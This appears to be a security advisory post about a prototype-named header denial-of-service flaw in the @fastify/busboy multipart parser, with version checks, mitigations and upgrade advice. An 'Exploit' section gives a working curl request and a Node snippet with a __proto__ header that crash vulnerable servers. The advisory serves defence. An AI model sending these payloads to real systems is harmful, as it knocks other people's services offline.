Listen to this Post
The vulnerability affects @fastify/busboy from 1.0.0 prior to 3.2.1.
It is a Denial of Service in the multipart header parser.
The parser stores part-header names on a plain JavaScript object.
A part header named proto resolves to an inherited value.
A part header named constructor also resolves to an inherited value.
That inherited value is not an array.
When the parser calls this.header
.push, it throws.</h2>
The exact error is TypeError: this.header[bash].push is not a function.
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">This happens before application middleware runs.</h2>
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">Any unauthenticated client can submit multipart/form-data.</h2>
The documented req.pipe(busboy) integration surfaces it as an error event.
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">Direct write()/end() usage throws synchronously.</h2>
If uncaught, the synchronous throw can terminate the Node.js process.
The crash is caused by prototype-named multipart part headers.
The parser does not safely own-property check header names.
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">__proto__ and constructor are inherited Object properties.</h2>
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">They are not arrays, so push is unavailable.</h2>
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">This is a Denial of Service condition.</h2>
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">The attack requires a multipart request.</h2>
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">No authentication is required.</h2>
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">The parser runs early in request handling.</h2>
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">The issue was fixed in version 3.2.1.</h2>
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">Workarounds include attaching an error listener.</h2>
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">Workarounds include wrapping write()/end() in try/catch.</h2>
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">Upgrading to 3.2.1 removes the failure entirely.</h2>
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">The advisory is high severity.</h2>
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">GitHub reviewed the advisory.</h2>
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">NVD published the advisory.</h2>
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">The advisory was published on Aug 12, 2026.</h2>
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">It was updated on Oct 2, 2026.</h2>
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">The vulnerable package is @fastify/busboy.</h2>
The impact is process termination or handled stream error.
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">DailyCVE Form:</h2>
Platform: @fastify/busboy
Version: 1.0.0 < 3.2.1
Vulnerability: Prototype-named multipart DoS
Severity: High
date: Aug 12 2026
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">Prediction: Fixed in 3.2.1</h2>
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">What Undercode Say:</h2>
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">Analytics:</h2>
[bash]
npm ls @fastify/busboy
npm view @fastify/busboy versions
npm audit
npm install @fastify/[email protected]
const Busboy = require('@fastify/busboy');
const busboy = new Busboy({ headers: req.headers });
req.pipe(busboy);
busboy.on('error', (err) => {
console.error('Busboy parser error:', err);
});
Exploit: (Educational Purposes!)
curl -X POST http://target/upload \
-H 'Content-Type: multipart/form-data; boundary=-x' \
--data-binary $'x\r\nContent-Disposition: form-data; name="file"; filename="a.txt"\r\n__proto__: x\r\n\r\nA\r\nx--\r\n'
const Busboy = require('@fastify/busboy');
const busboy = new Busboy({
headers: { 'content-type': 'multipart/form-data; boundary=-x' }
});
busboy.write('x\r\nContent-Disposition: form-data; name="file"; filename="a.txt"\r\n__proto__: x\r\n\r\nA\r\nx--\r\n');
busboy.end();
Protection: from this CVE Impact:
const busboy = new Busboy({ headers: req.headers });
busboy.on('error', (err) => {
console.error('Busboy parser error:', err);
});
req.pipe(busboy);
try {
busboy.write(chunk);
busboy.end();
} catch (err) {
console.error('Busboy write error:', err);
}
npm install @fastify/[email protected]
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
